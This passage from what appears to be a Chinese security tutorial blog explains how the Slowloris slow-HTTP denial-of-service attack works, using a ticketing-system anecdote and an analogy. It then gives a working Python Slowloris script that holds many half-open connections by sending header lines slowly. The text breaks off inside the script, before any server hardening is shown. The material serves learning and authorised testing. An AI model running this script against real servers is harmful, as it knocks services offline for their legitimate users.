1. 项目概述:从“占座”到防御的攻防演练
几年前,我在负责一个在线票务系统的运维时,遇到过一件怪事。每到热门演出开票前几分钟,服务器监控面板上的“活跃连接数”就会异常飙升,但CPU和内存使用率却纹丝不动,网站响应速度变得极其缓慢,最终直接“无响应”。用户反馈刷不出页面,我们内部排查了半天,数据库、代码逻辑都没问题。后来抓包分析,才发现服务器被海量的“半开连接”给淹没了——每一个连接都慢悠悠地发来一个HTTP请求头,然后就没下文了,像一群人不买票却把售票窗口全给堵死了。这就是典型的Slowloris攻击,一种低成本但极其有效的应用层DDoS手段。
这个项目,我们就用Python亲手模拟一次这种“占座式”攻击,直观感受它的威力。更重要的是,作为防御方,我们不能只挨打。所以,我会详细拆解在Nginx和Apache这两款主流Web服务器上,如何通过配置“加固门窗”,有效抵御这类攻击。无论你是刚接触Web安全的新手运维,还是想深入理解服务器工作原理的开发者,这篇从攻击到防御的实战指南,都能让你不仅看懂,更能动手配置,真正提升你手头服务的安全性。
2. 核心原理:Slowloris如何“优雅”地拖垮服务器
要防御,必须先理解攻击是如何发生的。Slowloris攻击的精妙之处在于它“遵纪守法”地利用了HTTP协议的设计特性,而非暴力蛮干。
2.1 HTTP协议与连接管理的“漏洞”
想象一下Web服务器就像一个餐厅,每个网络连接就是一张餐桌。HTTP/1.1协议默认使用持久连接(Keep-Alive),好处是客户吃完一道菜(发完一个请求)后,可以不用离开,接着点下一道,减少了频繁安排座位的开销。服务器会为每张“餐桌”(连接)分配一个服务员(工作进程或线程)和一部分资源(内存、描述符)。
Slowloris攻击者扮演的,就是一个“占着茅坑不拉屎”的恶意顾客。他正常地走进餐厅(建立TCP连接),坐下来,开始慢吞吞地看菜单(发送HTTP请求)。关键就在于这个“慢吞吞”——他每隔很长一段时间(比如30秒),才告诉服务员一个菜名(发送一个HTTP头字段),比如 X-a: b\r\n 。由于请求行和请求头没有发送完毕(没有遇到标志结束的 \r\n\r\n ),服务器会认为这个请求还在传输中,必须保持这个连接打开,并等待剩余的数据。
攻击者会同时建立成百上千个这样的连接,每个都缓慢地发送数据。服务器的连接池很快就被这些“半开连接”占满,而每个被占用的连接都消耗着一个宝贵的工作进程/线程和文件描述符。当所有“餐桌”都被恶意顾客占据,真正的顾客(正常用户)就无法进入餐厅,即使进来了,也没有空闲的“服务员”为其服务,导致服务器拒绝服务。
2.2 与传统DDoS攻击的本质区别
这里需要厘清一个关键概念。传统的洪水攻击(如SYN Flood、UDP Flood)属于网络层或传输层攻击,旨在耗尽带宽、交换机或服务器的网络栈资源。它们像用垃圾卡车堵住餐厅的所有出入口,动静大,容易被流量清洗设备识别。
而Slowloris是应用层(第七层)攻击。它发出的每个数据包都是合法的HTTP流量,流量本身很小(可能只有每秒几KB),因此能轻松绕过基于流量阈值的防护。它攻击的目标是Web服务器的 并发连接处理能力 和 资源分配逻辑 。这是一种“低带宽、高杀伤”的“慢速攻击”,更具隐蔽性。
注意 :模拟此类攻击仅限用于授权的测试环境(如你自己的虚拟机、容器),绝对禁止对任何未授权的目标进行测试,这不仅是职业道德问题,更是违法行为。
3. 攻击模拟:用Python编写一个Slowloris攻击脚本
理解了原理,我们动手写一个简化版的攻击脚本。这个脚本能帮你更直观地理解攻击过程,并在自己的测试环境中验证防御配置是否生效。
3.1 环境准备与脚本编写
首先,确保你的测试环境中有Python。脚本的核心逻辑是:创建多个Socket连接,发送不完整的HTTP请求,并定期发送少量数据以保持连接存活。
#!/usr/bin/env python3
"""
Slowloris攻击模拟脚本 - 仅用于安全学习与授权测试
"""
import socket
import time
import random
import threading
import argparse
import logging
logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')
logger = logging.getLogger(__name__)
class Slowloris:
def __init__(self, target_host, target_port=80, sockets_count=200, interval=15):
"""
初始化攻击参数
:param target_host: 目标主机(域名或IP)
:param target_port: 目标端口,默认80
:param sockets_count: 要创建的socket连接数量
:param interval: 发送保持存活数据的间隔(秒)
"""
self.target_host = target_host
self.target_port = target_port
self.sockets_count = sockets_count
self.interval = interval
self.sockets_list = [] # 存储所有活跃的socket连接
self.is_attacking = False
self.user_agents = [ # 伪装成不同的User-Agent
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15",
"curl/7.68.0",
"Python-urllib/3.9"
]
def create_socket(self):
"""创建一个TCP socket并连接到目标服务器"""
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(4) # 设置连接超时
sock.connect((self.target_host, self.target_port))
# 发送不完整的HTTP GET请求
request_line = f"GET /?{random.randint(0, 9999)} HTTP/1.1\r\n"
sock.send(request_line.encode())
# 发送Host头
host_header = f"Host: {self.target_host}\r\n"
sock.send(host_header.encode())
# 发送一个User-Agent头,但不发送结束的\r\n\r\n
ua_header = f"User-Agent: {random.choice(self.user_agents)}\r\n"
sock.send(ua_header.encode())
# 可以继续发送其他无意义的头部,如X-a: b\r\n
sock.send(b"X-a: b\r\n")
return sock
except Exception as e:
logger.error(f"创建socket失败: {e}")
return None
def send_keep_alive(self, sock):
"""向指定socket发送一个保持存活的头字段"""
try:
keep_alive_header = f"X-{random.randint(1000, 9999)}: {random.randint(1000, 9999)}\r\n"
sock.send(keep_alive_header.encode())
logger.debug(f"向连接 {sock.fileno()} 发送保持存活数据")
except socket.error:
return False
return True
def attack(self):
"""启动攻击的主循环"""
logger.info(f"开始对 {self.target_host}:{self.target_po


305

被折叠的 条评论
为什么被折叠?



